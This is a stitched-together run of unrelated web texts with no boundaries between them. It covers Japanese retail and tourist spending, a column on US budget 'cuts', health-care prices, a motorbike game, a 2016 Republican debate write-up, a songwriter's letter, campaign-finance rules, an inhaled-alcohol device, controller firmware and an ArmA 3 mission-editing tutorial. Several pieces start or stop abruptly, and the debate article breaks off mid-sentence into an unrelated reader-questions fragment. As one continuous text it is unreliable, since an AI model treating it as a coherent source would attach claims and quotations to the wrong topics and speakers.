At least all those travelers are helping to make up for sluggish spending by domestic consumers, right? Well, yes and no.
The visitors did spend a record 3.5 trillion yen ($32.85 billion) in 2015, up 70%. The number almost equals the combined annual sales of Japan's top department store operators: Isetan Mitsukoshi Holdings, J. Front Retailing and Takashimaya.
Nationwide department store sales to foreign tourists surged 160% last year to 194.3 billion yen, accounting for 3% of the total. At Takashimaya, clothing sales to domestic customers declined but those to foreign shoppers increased significantly.
The 3.5 trillion yen in overall tourist outlays is equivalent to slightly more than 1% of all consumer spending in Japan, which totaled about 300 trillion yen. When it comes to calculating the nation's gross domestic product, sales to international visitors are categorized as exports. GDP data for the three months through December showed a 0.9% decline in household spending, the first year-on-year fall in two quarters.
But beyond statistical semantics, there is another issue: a clear gap between companies that are benefiting from the tourism boom and those that are not.
Winners take all
The Ministry of Economy, Trade and Industry reported that combined sales at all types of retailers came to about 140 trillion yen for the year ended February, down slightly from a year ago. But sales at 84 listed companies -- roughly 20% of the businesses surveyed -- rose 7%.
Put simply, unlisted small and midsize retailers and independent shops are having a tough time, while the big boys are ringing up solid sales. The Bank of Japan's quarterly Tankan survey for March bears this out. The diffusion index of business sentiment among large retailers was 18, compared with minus 10 for small ones.
The real winners are concentrated in the nation's biggest cities. Minoru Noguchi, president of shoe store chain ABC-Mart, said there is an obvious disparity in spending between urban and rural areas. Saikaya, which runs three department stores in Kanagawa Prefecture -- not far from Tokyo -- has received no boost from spending by travelers, according to President Yozo Okamoto.
Looking ahead, the question is whether the gap between winners and losers will continue to widen. On the contrary, it may begin to narrow this year -- and not because things are getting any easier for unlisted retailers outside premier urban centers.
Trouble ahead
Listed retailers could encounter headwinds. First, further yen appreciation will make shopping in Japan more expensive for tourists.
For this fiscal year, department store operator Matsuya expects sales to foreign visitors to level off. "We had better remain on guard," President Masaki Akita said.
Japanese stocks, meanwhile, could come under renewed selling pressure. "That will cast a shadow over spending by wealthy individuals," said Ryoichi Yamamoto, president of J. Front Retailing.
Analysts who follow the retail sector have been lowering their earnings forecasts since last November.
Dairo Murata at JPMorgan Securities Japan warned that if domestic consumer spending continues to slow, companies could have trouble meeting market expectations.President Obama said in his State of the Union speech, “We’ve already agreed to more than $2 trillion in cuts and savings.”
That was reassuring.
The new budget he released this week promises $4 trillion in “deficit reduction”—about half in tax increases and half in spending cuts. But like most politicians, Obama misleads.
Cato Institute economist Dan Mitchell, a recent guest on my Fox Business show, cut through the fog to get at the truth of the $2 trillion “cut.”
“We have a budget of, what, almost $4 trillion? So if we’re doing $2 trillion of cuts,” Mitchell said, “we’re cutting government in half. That sounds wonderful.”
But what the president was talking about is not even a cut. The politicians just agreed that over the next 10 years, instead of increasing spending by $9.48 trillion, they’d increase it by “just” $7.3 trillion. Calling that a “cut” is nonsense.
Mitchell gave an analogy: “What if I came to you and said, ‘I’ve been on a diet for the last month, and I’ve gained 10 pounds. Isn't that great?’ You would say: ‘Wait, what are you talking about? That’s insane.’ And I said: ‘I was going to gain 15 pounds. I’ve only gained 10 pounds, therefore my diet is successful.’"
Democrats use this deceit when they want more social spending. Republicans use it for military spending.
And the press buys it. The Washington Post has been writing about “draconian cuts.”
“The politicians know this game,” Mitchell said. “The special interests know this game. Everyone gets a bigger budget every year.... And we wind up, sooner or later, being Greece.”
We are definitely on the road to bankruptcy.
“We have maybe 10, 15 years' advanced notice. And what’s frustrating is that we’re not taking advantage of that, even as we see these other countries collapsing into social chaos and disarray.”
Mitchell points out that the politicians don’t even have to make actual cuts to save the future. If they just slowed the growth of government to about 2 percent per year, the U.S. economy could grow out of this mess. But the politicians won’t do even that.
“Being from the Cato Institute, I actually do want to cut spending. But if all we’re trying to do is balance the budget over 10 years, which is sort of the minimal thing that politicians keep saying we should do, if we simply limit the growth of spending to 2 percent a year, which is about the projected rate of inflation, we’ll have a balanced budget in 2022.... But instead, the politicians say, 'Oh, we’ll have draconian and savage budget cuts.'... They don’t want to put government on a diet, even if that diet allows spending to grow 2 percent a year.”
They also continually mislead us about what their schemes will cost.
President Bush said the war in Iraq would cost $50 billion to $60 billion. It cost $800 billion. When Medicare Part A was created, the government said it would cost $9 billion in 1990. It cost $67 billion. They said the hiring of TSA airport security screeners would cost $100 million. Then they spent $700 million. Yet the media report the estimates as if they are realistic. Again and again, politicians get away with underestimating the cost of their programs.
Often the cost goes up because people change their behavior to get free stuff. A program meant to help the needy costs a certain amount. The next year, it costs more, because now more of the needy know about the program and more social workers know how to tap it. The next year, the non-needy feel like suckers if they don’t get the handout, and they figure out a way to game the system.
Then, Mitchell point out, “what do politicians do the next year? They expand the program to buy more votes. And the year after that, they add a new benefit. That’s what’s happened with Medicare. It’s not just that they got the fundamental estimates wrong. They did. But every new generation of politicians figures out some new expansion, some new benefit.”
And so we’re on the road to Greece.
Bottom line: Don’t trust the politicians’ numbers.
DISTRIBUTED BY CREATORS.COMEvery year, the International Federation of Health Plans — a global insurance trade association that includes more than 100 insurers in 25 countries — releases survey data showing the prices that insurers are actually paying for different drugs, devices, and medical services in different countries. And every year, the data is shocking.
The IFHP just released the data for 2012. And yes, once again, the numbers are shocking.
This is the fundamental fact of American health care: We pay much, much more than other countries do for the exact same things. For a detailed explanation of why, see this article. But this post isn't about the why. It's about the prices, and the graphs.
One note: Prices in the United States are expressed as a range. There's a reason for that. In other countries, prices are set centrally and most everyone, no matter their region or insurance arrangement, pays pretty close to the same amount. In the United States, each insurer negotiates its own prices, and different insurers end up paying wildly different amounts. That's what Steven Brill's explosive article was about, and it's why you see U.S. prices expressed as a range rather than a single number.
After all these graphs, this final graph shouldn't be a surprise.
Further reading:
- Why an MRI costs $1,080 in America and $280 in France.
Further watching:Game Overview: Moto Racer 4
In a world where freestyle and risk-taking dominate, impose your riding style all around the world. Impress your opponents and win races with class!
Moto Racer 4 is racing game you can play on asphalt or dirt in single or multiplayer mode (up to ten players).
Master drifting, wheelies, sharp turns and other techniques to earn a place on the podium!
Customize and upgrade your bike! Progress through Moto Racer 4 and take in the stunning environments.
From the United States to the Asia by way of the desert, Moto Racer 4 takes you through perilous, breathtaking courses at 100 miles an hour.
Obstacles, hell-bent opponents, traffic and even police will get in your way to try to stop you. Go off road and use each course’s unique features to your advantage to find the best shortcuts.
KEY FEATURES :The Fox Business debate on January 14 was the liveliest of the Republican presidential contests since the first Fox News event last August, when America first experienced the spectacle of Donald Trump on a debate stage. Trump and Ted Cruz, who have spent most of this campaign in a tacit truce, finally went at it, and it was glorious. Marco Rubio was more energized than we've seen him in a long while, though neither he nor Cruz seemed to understand what a VAT is. Jeb Bush described repealing the Dodd-Frank act as a national security issue, and John Kasich referred to the TPP trade deal as PTT for some reason. Good times all around.
We won't know who "really" won until poll results trickle in. But in the meantime, here are the candidates who ended the night better off than they started it — and the ones who slipped.
Winner: Ted Cruz
Cruz is in a very good position at the moment: He leads in the influential Des Moines Register poll of Iowa and is neck and neck with Donald Trump in the polling averages there. Add the fact that Cruz has a solid ground game, with thousands of volunteers and a 48-room dormitory in which to house them — whereas one of Trump's Iowa precinct captains has disowned his candidate's anti-Muslim comments on the grounds that 9/11 is an inside job and Muslims are thus not to blame — and the odds of Cruz winning Iowa, and gaining momentum thereafter in New Hampshire and South Carolina, look pretty high.
But uneasy lies the head that wears a crown, and naturally Cruz has faced more incoming attacks as his polling has improved, most notably attacks from Donald Trump arguing that Cruz's Canadian birth renders him ineligible for the presidency. What he needed to do Thursday night was effectively rebut those attacks and preserve his position. He did that brilliantly. "Well, Neil," he told moderator Neil Cavuto after he brought up the issue. "I'm glad we're focusing on the important topics of the evening." The crowd applauded. Cruz continued with the following devastating riposte to Trump:
Back in September, my friend Donald said he had his lawyers look at this from every which way and there was no issue there. There was nothing to this birther issue. Now since September, the Constitution hasn't changed. [Laughter] But the poll numbers have. [Cheering] And I recognize, I recognize that Donald is dismayed that his poll numbers are falling in Iowa. But the facts and law here are really quite clear. Under longstanding US law, the child of a US Citizen born abroad is a natural-born citizen.
It succeeded, however briefly, in making Trump look like something he's never resembled this whole campaign: a loser, and a petty, small loser at that.
Even earlier, Cruz easily swatted back a question from co-moderator Maria Bartiromo about a New York Times investigation finding he failed to disclose a huge loan from Goldman Sachs to his Senate campaign in 2011. It turns out that making the issue about the liberal media's perfidy is an effective tactic when your audience is GOP primary voters:
Well, Maria, thank you for passing on that hit piece on the front page of the New York Times. [Laughter]. You know the nice thing about the mainstream media, they don't hide their views. The New York Times a few weeks back had a columnist who wrote a column saying, "anybody but Cruz." They had that same columnist wrote a column comparing me to an evil, demonic spirit from the movie It Follows, that jumps apparently from body to body possessing people. So, you know the New York Times and I don't exactly have the warmest of relationships. Now, in terms of their really stunning hit piece, what they mentioned is when I was running for Senate, unlike Hillary Clinton, I don't have masses of money in the bank, hundreds of millions of dollars. When I was running for Senate just about every lobbyist, just about all the establishment opposed me in the Senate race in Texas. And my opponent in that race was worth over $200 million. He put a $25 million check up from his own pocket to fund that campaign. And my wife Heidi and I, we ended up investing everything we owned. We took out a loan against our assets to invest it in that campaign to defend ourselves against those attacks, and the entire New York Times attack is that I disclosed that loan on one filing with the United States Senate, that was a public filing but it was not on a second filing with the FEC. Both of those filings were public. And yes, I made a paperwork error disclosing it on one piece of paper instead of the other. But if that is the best hit the New York Times has got, they better go back to the well.
Leave aside the fact that the Times op-ed page and Frank Bruni are totally separate from the newspaper's political reporters, and leave aside Cruz's phony posturing that he and his wife — alums of Harvard Law and Harvard Business School, respectively —are somehow everyday folk and not rich elites. This is exactly the answer the audience wanted to hear: These concerns are fake, raised by liberal enemies who aren't trustworthy, and they're hitting me because they hate me and are frightened by me. It's masterful debating, and it's telling that none of his opponents onstage seized on the Times piece afterward.
Also, It Follows is great, and everyone should watch it regardless of its relationship to Cruz.
Winner: Donald Trump
Sure, Cruz got the better of him on the birther question. Trump was even booed during his response to Cruz. But the GOP frontrunner nonetheless held his own, and got two big moments to shine.
The first was when Bartiromo brought up South Carolina Gov. Nikki Haley's official Republican response to the State of the Union Tuesday night, a response that included what many interpreted as slights against Trump ("During anxious times, it can be tempting to follow the siren call of the angriest voices"). Haley herself acknowledged she was talking, at least in part, about Trump. Trump, confronted with the comments, embraced Haley, but also unleashed a passionate defense of, well, being angry:
First of all, Nikki this afternoon said I'm a friend of hers. Actually a close friend. Wherever you are sitting Nikki, I'm a friend. We're friends. That's good. [Laughter] She did say there was anger. I'm very angry because our country is being run horribly and I will gladly accept the mantle of anger. Our military is a disaster. [Applause] Our health care is a horror show. Obamacare, we're going to repeal it and replace it. We have no borders. Our vets are being treated horribly. Illegal immigration is beyond belief. Our country is being run by incompetent people. And yes, I am angry. And I won't be angry when we fix it but until we fix it, I'm very, very angry. I say that to Nikki. So when Nikki said that, I wasn't offended. She said the truth. One of your colleagues interviewed me. And said, well, she said you were angry. I said to myself, huh, she's right. I'm not fighting that. I didn't find it offensive at all. I'm angry because our country is a mess.
"I will gladly accept the mantle of anger" is an instantly memorable line, perhaps the one quote from this debate that will be recalled weeks and months into the future. And it taps into a real feeling about the GOP base: that most candidates are disconnected and only understand their frustrations in the abstract. The Atlantic's Molly Ball put it well:
All the other candidates say "Americans are angry, and I understand." Trump says, "I’M angry." — Molly Ball (@mollyesque) January 15, 2016
Perhaps even better was when Trump avenged Cruz's birther victory by destroying Cruz for his attacks on Trump's "New York values." After a weird intro pointing out that William F. Buckley was a conservative but also, in an intriguing twist, a New Yorker, Trump pummeled Cruz for disrespecting the victims of 9/11:
When the World Trade Center came down, I saw something that no place on Earth could have handled more beautifully, more humanely than New York. You had two — [applause] You had two 110-story buildings come crashing down, thousands of people killed, and the cleanup started the next day, and it was the most horrific cleanup probably in the history of doing this, and in construction, I was down there. And I've never seen anything like it. And the people in New York fought and fought and fought, and we saw more death and even the smell of death. Nobody understood it. And it was with us for months. The smell. The air. And we rebuilt downtown Manhattan, and everybody in the world watched, and everybody in the world loved New York and loved New Yorkers, and I have to tell you, that was a very insulting statement that Ted made. [Applause]
"You're an effete liberal New Yorker" is an effective attack in GOP primaries, but it's nowhere near as effective as, "You are spitting on the smoldering bodies of our nation's fallen heroes." It was a weird unforced error for Cruz to let Trump unleash this attack, which he must have known was coming. But even if the line succeeded more because Cruz screwed up than because Trump delivered, Trump nailed it nonetheless, and got the audience back on his side after the birther exchange.
Winner: Marco Rubio
Look, it's something of a tradition for mainstream media pundits to declare that Rubio keeps winning debates, and to predict his inevitable rise to the top, only for him to keep flailing in third place. And while I will protest that I declared him a loser of the last debate, I've been guilty of Rubio boosterism myself too.
All the same, tonight we saw a far more energized and active Rubio than we've seen at any previous debate. He forced debates with Cruz without it feeling forced. If you hadn't been tuning into any debates, or following the race at all, and saw Thursday night's debate, you'd say there were three frontrunners: Trump, Cruz |
are the living daylights that people threaten to punch out of you? - Who determines whether races are run clockwise or anti-clockwise?
READERS' RESPONSES: Email your answers, or any questions you want answered, to bigquestions@ smh.com.au or write to Big Questions, Spectrum, SMH, GPO Box 506, Sydney 2001. Limit questions to one short sentence and answers to a maximum of 130 words, and state your name and suburb/town.[This post is part of a series of letters from established artists to young musicians. We’re honored to have the incredible singer/songwriter Mary Gauthier contribute the very first entry.]
“Nearly everything that matters is a challenge, and everything matters.” — Rilke
You’ve watched your musical heroes take the stage to thunderous applause, adulation and love, and you burn for that, for yourself, and you want to be a professional writer of songs. The songwriting call has whispered in your ears for years now, and you’ve decided to answer it. You are ready to embrace it, to begin your journey as a songwriter. I congratulate you, and would offer you a few considerations (if you are open to hearing from someone who has trudged this path for decades now).
Warning: a songwriter’s life is not what you think it is.
Music is more than a bouquet of sweet vibrations; it is something from a higher world, which we humans have been given the power to invoke. Artists are alchemists, with our hands in the holy. The Sacred. Yes, there is great power in creating music, but also great danger. The journey of the artist is filled with pitfalls. Where there is great beauty and the power to move millions on this path, there is always great risk.
Songwriting is a noble calling that requires more than talent and perseverance. It requires courage. If you are willing to face yourself and honestly reveal in your songs what you’ve seen in that unveiling of yourself, then you have a chance of writing songs that will outlive you. What can we gain by walking on the moon and planets if we are not able to cross the abyss that separates us from ourselves? This is the most important of all voyages, and it is the job of the artist. The object of art is not to make salable products. It is to save one’s self, and to be a part of saving us all. Either we tell our story, or our story tells us.
And know this: A half-truth is a whole lie. Character, like integrity, is much easier kept than recovered. So write from your true self, not the self you think you should be. Do not try to impress us, and do not hide behind thin walls and smoke screens. It will only bore us. Brutal self -honesty is your challenge, and will reward you with much more than you can yet imagine.
You must learn how to reject acceptance and accept rejection. People’s opinions of you and your work are irrelevant. The search for love and applause has no place in the creative process. Here is what I know: thriving artists suffer from a feeling of inferiority, a feeling of reaching for something that keeps being just outside our grasp. We make contact with it, and then it turns to smoke. It cannot be held. So our work involves a constant striving. Those that don’t know this feeling are pretending to be close to art and live in secret fear of the aloneness of the deep creative process. Art requires audacity, and if you are not afraid, you are not taking risks. You will simply skim the surface and offer the world nothing new. Ultimately, your songs will not matter.
An artist’s job is to reach communion with truth, and bring that holy light into the world in order to soothe souls trapped in dark places. It is exceedingly difficult work and most who attempt it fail. That said, there is no safety in success either. In fact, triumph brings a greater danger, because the intense light of success is a wick that draws in darkness. Stars burn up. Flame out. Stars overdose, suicide. Some become oldies acts that create no new magic but simply repeat what has already been done over and over again, not for beauty’s sake, but for cash. And they suffer this as a humiliation and become bitter. A deep grounding in solitude is necessary to remain vital and creative. Solitude courts the muse. So know this: you have chosen a lonely path.
As you work, you will have to learn to embrace each failure as an unavoidable part of the process. There will be many false starts and errors, and even though it is terrifying, you must continue to err, and to do so on the bold side. Have the audacity to lose face, don’t worry about saving it, and embrace each glorious failure as a necessary part of the journey. The chief danger in songwriting (and life) is taking too many precautions. There is a very real relationship between what you contribute and what you get out of this life, but satisfaction lies in the effort, not in the attainment. The point of the work is the work. Being vulnerable in your work will bring you strength.
And here is a final warning. If you do succeed and people come to know your name and your songs, the creative process gets harder, not easier. Fame and success attracts parasites, clingers on, and wannabe’s. These non-creators will do everything in their power to attach to the light around you thinking it will bring them out of their own darkness. It will not, but they do not know this. If you let them in, their hungry mouths will suck the light from you and when you are emptied they will simply move on and attach to someone else’s glow. You must rid your life of these people, or suffer their debilitating and soul crushing manipulations.
Fame and success also bring laziness, and ego swelling. With success comes the confusion of believing you are doing great work, backed up the reassurance of people on your payroll, when you are not. It is easy to become delusional and get lost. Fame is a full time job. So is songwriting. A choice is often required. Choose wisely.
So then, again the point of all this work is simply the work. Struggle is the path, and there is no destination, only the path. We do not get “there.” There is no there. There is only here, now, on the path, in the struggle. We all must face the daunting blank page in front of each of us each morning. In this, we are all alike. I wish courage and perseverance for you as you embark on this life’s work of writing songs. You will need it.
—-
Check out Mary’s music on CD Baby, or follow her on Twitter and Facebook.
[Photo of Mary Gauthier taken by Rodney Bursell.]They also had another concern: real estate. The Democratic Senatorial Campaign Committee is millions of dollars in debt, not only from the hard-fought midterm campaign, but also from the cost of a $5.2 million mortgage taken out to buy additional office space last spring.
In what appears to be an effort to help meet such costs, Democrats demanded that the added provision also allow all party committees, including the House and Senate campaign committees, to solicit additional large contributions to cover the costs of buying, renting or renovating real estate. The Democrats’ campaign committee and its leaders were not consulted about the request, a spokesman said.
“The D.S.C.C. was not involved,” said Justin Barasky, a spokesman for the committee.
Democrats also asked for a provision that would allow triple the normal amount for contributions earmarked for legal costs. Republican efforts to place new restrictions on voting in many states, two Democrats said, had prompted a surge in election litigation. The additional provision would allow donors to write a third check, again at triple the normal limit, to “to defray expenses incurred with respect to the preparation for and the conduct of election recounts and contests and other legal proceedings,” according to the bill.
In effect, the new rules whittle away at the restrictions on so-called soft money in the 2002 McCain-Feingold legislation, which prohibited parties from raising large contributions under the guise of funding “party-building” and get-out-the-vote efforts.
All in all, the new accounts would vastly expand the amount that wealthy donors could give to party committees. Under current rules, the most one individual could donate to party committees in a given year totals about $97,200. Should the new budget agreement be signed by President Obama, that amount would skyrocket to $776,600, or $1.56 million over a two-year election cycle.
In a letter to Mr. Obama on Friday, advocates of stricter campaign limits said the proposed changes amounted to “the most corrupting campaign finance provisions ever enacted” and urged him to veto the bill. “In a ‘bipartisan’ unholy alliance, Senator Reid and Senator McConnell joined with House Speaker John Boehner to secretly insert into the Omnibus bill the destructive campaign finance provisions, which were unknown to the public and members of Congress until the day the bill was filed in the House,” the letter stated.
Democrats and Republicans alike said on Friday that even if the new rules bolstered the influence of large donors, they would also improve disclosure and accountability by pushing more donor dollars into party committees, rather than into “super PACs” and other less-regulated outside groups.The Vaportini: A Cocktail Inhaled, Not Stirred
toggle caption Courtesy of Andrew Nawrocki/Time Out Chicago
Here at The Salt, we've heard about some whacky cocktail trends swirling around the country recently — from bacon-infused mescals in Washington to liquid nitrogen martinis in San Francisco.
But why do you need to drink your cocktail when you could inhale it instead?
That's right, folks, the "Vaportini" has arrived. And it's making a big splash on the cocktail scene in Chicago.
In essence, the Vaportini is a simple device that evaporates flavor-infused spirits, so you can breathe in the aromas and alcohol through a glass straw.
toggle caption Courtesy of Vaportini.com
Think of it as something between warming a brandy snifter over a candle and freebasing Knob Creek bourbon.
Restaurateur Julie Palmer came up with the idea after visiting a friend in Helsinki. "She would go into the sauna with a bottle of vodka and pour it over the coals," Palmer tells The Salt. "You could really feel the effects of the alcohol without drinking it."
When Palmer returned home, she wanted to re-create that experience at Red Kiva, a cocktail lounge she had opened up in Chicago's hip West Loop neighborhood.
She enlisted the help of her father, who's an engineer, and started experimenting with a few fancy designs. "I even taught myself to solder," Palmer jokes.
But ultimately she settled on a simple setup: a hand-blown glass globe with a candle underneath it. A shot of spirit sits in the globe, and as it heats up, the liquid evaporates and fills the sphere with flavorful — and intoxicating — vapors, which you can then suck up through a glass straw.
Palmer officially launched the Vaportini last December, and by January, she had to stop taking orders for the $30 devices because she ran out of supplies.
"I'm negotiating with bars all over the country to bring it in, and I'm working with a local distiller to develop spirits specific for it," she says. "I made a lemon-and-tarragon-infused vodka — it was incredible."
Jake Malooley, a reporter for Time Out Chicago, got to try the Vaportini firsthand recently, while writing an article on the device.
He gives the gaseous quaffs mixed reviews.
"I felt like it was unsatisfying," he tells The Salt. "Part of why we drink beer and cocktails is for the taste — it's cold and refreshing. The Vaportini eliminates a lot of the sensual elements of the cocktail experience."
Nevertheless, Malooley says he was surprised by how much of the whiskey's nuances came through in the vapors. "When you inhale it, you can taste the flavors of each alcohol on your tongue. You can tell it's whiskey."
Malooley doesn't think vapor cocktails will replace the liquid versions anytime soon. "It's a fun accessory to do as a dessert course or start off the night, but you wouldn't want to spend the whole night with the Vaportini — it just wouldn't be satisfying."
So the Vaportini is fun, but is it safe?
Behavioral biologists Dennis Thombs and Scott Walters, who study alcohol abuse at the University of North Texas, say scientists haven't examined alcohol inhalation in humans yet, so they don't know if the Vaportini poses any extra risks.
"What I will say, though, is that inhaling is a very efficient and rapid way to deliver drugs to the brain," Thombs tells The Salt. "So I would think one would get intoxicated quickly."
On the other hand, a Vaportini has a large amount of water in it, even when it's just straight bourbon or vodka, Walters says. "You'd have to inhale a lot of water before you'd get a whole shot of alcohol. But it might clear up your sinuses."
Malooley agrees. After "sipping" on the Vaportini for about 30 minutes, Malooley says he felt "a mild buzz that wore off fast."
"When we left the bar, I even asked the photographer I was with if he wanted to go get a beer, because I felt like having a real drink," Malooley chuckles.Peripheral maker 8Bitdo has released a new firmware update for its controllers which enables support for the Nintendo Switch.
The range of pads - which includes the NES30 and SNES30 controllers - are based on classic Nintendo products and boast an exceptional build quality.
While there are obviously some caveats - rumble, motion control and NFC aren't included - the fact that these pads boast proper D-Pads will make them of particular interest to those of you who intend to purchase Ultra Street Fighter II: The Final Challengers, or have already bought any of SNK's one-on-one fighters for the Switch, such as Garou: Mark of the Wolves or The King of Fighters '98.
We've downloaded the firmware and updated our pads, and the results are brilliant - it's just like playing Street Fighter II on the SNES back in the day, in fact.
In addition to the Nintendo Switch, all 8Bitdo controllers are compatible with Windows, Android, MacOS and Steam. 8Bitdo also stresses that the non-Pro options will not be compatible with all games due to a lack of inputs, and recommends the NES30 Pro and FC30 Pro as they offer fully mapped button configurations for the Switch.
If you don't already own one or two of these excellent pads, then now is the perfect time.
Please note that some of the links on this page are affiliate links. If you click them and make a purchase we may receive a small percentage of the sale which helps support the site. Please read our FTC Disclosure for more information.From F3 EN
Before you read this tutorial
Version warning: The screenshots in this tutorial were made with an older version of F3. Don't worry if what's depicted doesn't fully reflect what's on your screen.
Like F3 itself, this tutorial assumes you already have a basic knowledge of mission editing in ArmA 3. Specifically, you should already know:
How to open the MP mission editor
How to place and edit units, triggers, waypoints and markers in the editor
How to locate and edit mission and script files using a good text editor (like TextPad, NotePad++ or similar)
How to export your mission for uploading to a dedicated server
If you're not familiar with these tasks you may find the tutorial more challenging, but remember there are people in the BI, Reddit and Folk ARPS communities who are often willing to help new mission makers!
Introduction
In this illustrated, step-by-step tutorial, you'll create a simple adversarial mission (team vs. team) using the F3 mission development framework for ArmA 3.
You'll use many components from F3, but by no means all of them. The tutorial will explain how to configure those components that require input from the mission maker. The tutorial will also explain the components that are automatically enabled simply by using F3 to make the mission.
When you finish this tutorial you'll have a mission that's ready to play on either your locally-hosted server, or uploaded to your community's dedicated server. To help you check that you've correctly followed each step, a downloadable copy of the tutorial mission folder is linked at the end.
Note: In this tutorial you'll use several components developed for the Folk ARPS community, because they come as standard with Folk ARPS build of F3. When you become more proficient with F3, you can modify or replace these components to suit your own community.
Note: This tutorial is based on an older version of F3. While almost everything should still apply to the most current version, you can always consult the rest of the wiki for an up-to-date description of all components.
The mission you're about to make
In the mission you're about to make, a 14-man squad of NATO infantry will attempt to defend a hilltop outpost against up to a platoon (44 men) of CSAT infantry.
Both sides will be employ an ORBAT (order of battle) that features 14-man squads composed of 4-man fireteams and a 2-man leadership element. Every unit will be playable, allowing the mission to support up to 58 players.
The mission will be no-respawn: it will end as a NATO victory if all CSAT units are killed, and as an CSAT victory if all NATO units are killed. The mission will feature briefings for both sides, and debriefings for both endings.
Getting started
Downloading and extracting the F3 build
Note: Don't worry if the F3 version available for download today is newer than the one in the image above - any required changes will be made to the tutorial.
To begin, visit the Downloads page of the F3 wiki and download the latest version of the F3 Folk ARPS build. Save the downloaded.7z archive to a memorable location, such as your downloads folder or desktop. Locate your MPMissions folder, which is usually at this location (where YourPlayerName is your own playername):
\My Documents\Arma 3 Other Profiles\YourPlayerName\MPMissions\
Note: If you don't have an MPMissions folder you can simply create one now.
Copy the downloaded.7z archive to the MPMissions folder and extract it using 7-Zip, WinRAR or a similar application. You should now see 2 items in the MPMissions folder:
F3.Altis (the mission folder)
(the mission folder) f3_v3-1-0_f3_folk_arps.7z (the.7z archive you downloaded)
Note: In the F3.Altis folder, you'll find a file called ReadMe.md. This is the readme file for F3 itself.
Your MPMissions folder should look something like this:
If it does, congratulations - you're now ready to begin creating your new mission.
Naming and describing your mission
The name of the mission and name of the mission folder should be the same, or at least very similar. The mission folder is currently named F3.Altis. The latter part of the folder name,.Altis, tells ArmA 3 that that the mission is set on Altis. If the mission folder's name does not end with.Altis or another valid map name, the ArmA 3 MP editor will not be able to see your mission.
The mission you are about to create will be called Visit. You could change the mission folder's name from F3.Altis to Visit.Altis, but instead please change it to: a58_visit_v1.Altis
This more complex name will convey several bits of information to players and server administrators. Here's what each part of the name means:
a58_ This is an adversarial mission for up to 58 players. visit_ This mission is called 'Visit'. v1 This is version 1 of the mission..Altis This mission takes place on the island of Altis.
You'll notice the use of spaces and special characters has been avoided, because these can sometimes create issues.
Note: The naming convention used here is similar to one used by the Folk ARPS community (which would add fa3_ to the start of the name); you could just as easily invent a convention for your own community.
The name of your mission must also be present in the mission.sqm file. Open the a58_visit_v1.Altis folder, locate the mission.sqm file and open it with your text editor. Near the top of the mission.sqm file, look for this line:
briefingName="F3";
Change this line to read:
briefingName="a58_visit_v1";
In addition to the name, a mission should have a brief description. This helps players and server administrators when picking a mission to play, as it tells them something more about the mission. The next line in the mission.sqm file, should be:
overviewText="*** Insert mission description here. ***";
Your mission is an assault on a hilltop outpost by infantry, so change this line to read:
overviewText="Infantry attack on a hilltop outpost";
When you're finished, those lines should look like this:
Now close the mission.sqm file. Congratulations, you've given your mission a name and description. Don't worry if you want to change these later on, you can always re-visit the steps in this section.
Configuring the mission header
It's good practice to let ArmA 3 know your mission's type and maximum number of players. This is done by editing some code in the description.ext file. In the a58_visit_v1.Altis folder, locate the description.ext file and open it with your text editor. Near the top of the description.ext file, look for this line:
// F3 - Mission Header
Underneath this line you'll see a block of code that looks like this:
class Header { gameType = Coop; minPlayers = 1; maxPlayers = 405; };
Your mission is an adversarial mission, which means it will need a minimum of 2 players; you also know it should have 58 playable units, so the maximum number of players will be 58. Begin by selecting the line:
gameType = Coop;
Change this line to read:
gameType = TDM;
TDM stands for Team Death Match, which is the way ArmA 3 describes adversarial missions. Now, select the line:
minPlayers = 1;
Change this line to read:
minPlayers = 2;
Now select the the line:
maxPlayers = 405;
Change this line to read:
maxPlayers = 58;
When you're finished, that block of code should look like this:
Save the description.ext file, but don't close it yet - you'll need to edit some more lines in this file during the next step.
Configuring the respawn settings
ArmA 3 supports many several different types of respawn, but your mission will not use respawn at all: when the player dies, s/he will be automatically moved into the F3 spectator mode. The code for respawn settings is also located in the description.ext file; look for this line:
// F3 - Respawn Settings
Underneath this line you'll see a block of code that looks like this:
respawn = 1; respawndelay = 3
The first line in this block defines the type of respawn used by your mission. By default, F3 uses respawn type 1, which actually means no respawn. So you don't have to edit anything!
Save the description.ext file again, but don't close it yet - you'll need to look at some more lines in this file during the next step.
Configuring the loading screen
When your mission is loading, a loading screen displays things like the mission name, the name of the mission's author (you!) and even an image. The code for this is also located in the description.ext file; look for this line:
// F3 - Loading Screen
Underneath this line you'll see a block of code that looks like this:
onLoadName = "*** Insert mission name here. ***"; onLoadMission = "Made with the F3 Mission Development Framework"; author = "*** Insert mission author name here. ***"; loadScreen = "logo.paa";
Your mission is called Visit, and in this instance it's not necessary for the name to match the mission folder name. So begin by selecting the line:
onLoadName = "*** Insert mission name here. ***";
Change this line to read:
onLoadName = "Visit";
The next line contains a message about the mission being made with F3, so we'll leave that alone in this tutorial. Continue by selecting the line:
author = "*** Insert mission author name here. ***";
Change this line to read (where YourName is your own player name):
author = "YourName";
The final line in this block defines the special image which is displayed on the loading screen. The image should be in.paa format and located in the mission folder (at the same level as the description.ext file). F3 comes with its own image, so we'll leave that alone in this tutorial. Later, you may want to replace the F3 image file with one of your own. When you're finished, that block of code should look like this:
Later, when you run your mission, you'll see this on your loading screen:
Now close the description.ext file. Again, don't worry if you want to change any of these configuration options later on, you can always re-visit the steps in this and previous sections.
Designing the mission
Selecting your playable units
Start ArmA 3 and open your mission in the MP mission editor. The F3 Folk ARPS Platoons component that is included in F3 means you will see pre-placed platoons for the NATO and FIA (blue icons), CSAT (red icons) and AAF (green icons) sides, plus two CIVILIAN units (purple icons):
Delete all of the pre-placed CIVILIAN (purple icons) and AAF units (green icons) and associated (empty) vehicles. Your mission will not use any of these. Next, delete all pre-placed units and vehicles from the NATO and FIA platoons that are not part of NATO's Alpha squad. Because Alpha squad is made up of three 4-man fireteams and a single 2-man leadership element, the groups to keep are:
GrpNATO_ASL GrpNATO_A1 GrpNATO_A2 GrpNATO_A3
The quick way to see the name of a group is to mouse-over one its members. This triggers a little tool-tip that displays the first part of the unit's INIT field. In F3, the INIT field of all pre-placed units contains the command that tells ArmA 3 the name of their group:
When you've finished deleting all the pre-placed NATO units and empty vehicles not required for your mission, the NATO platoon should look like this (4 groups, with a total of 14 units):
Next, delete all pre-placed units and vehicles from the CSAT platoon that are not the CO (platoon commander) element, or part of CSAT's Alpha, Bravo or Charlie squads. The groups to keep are:
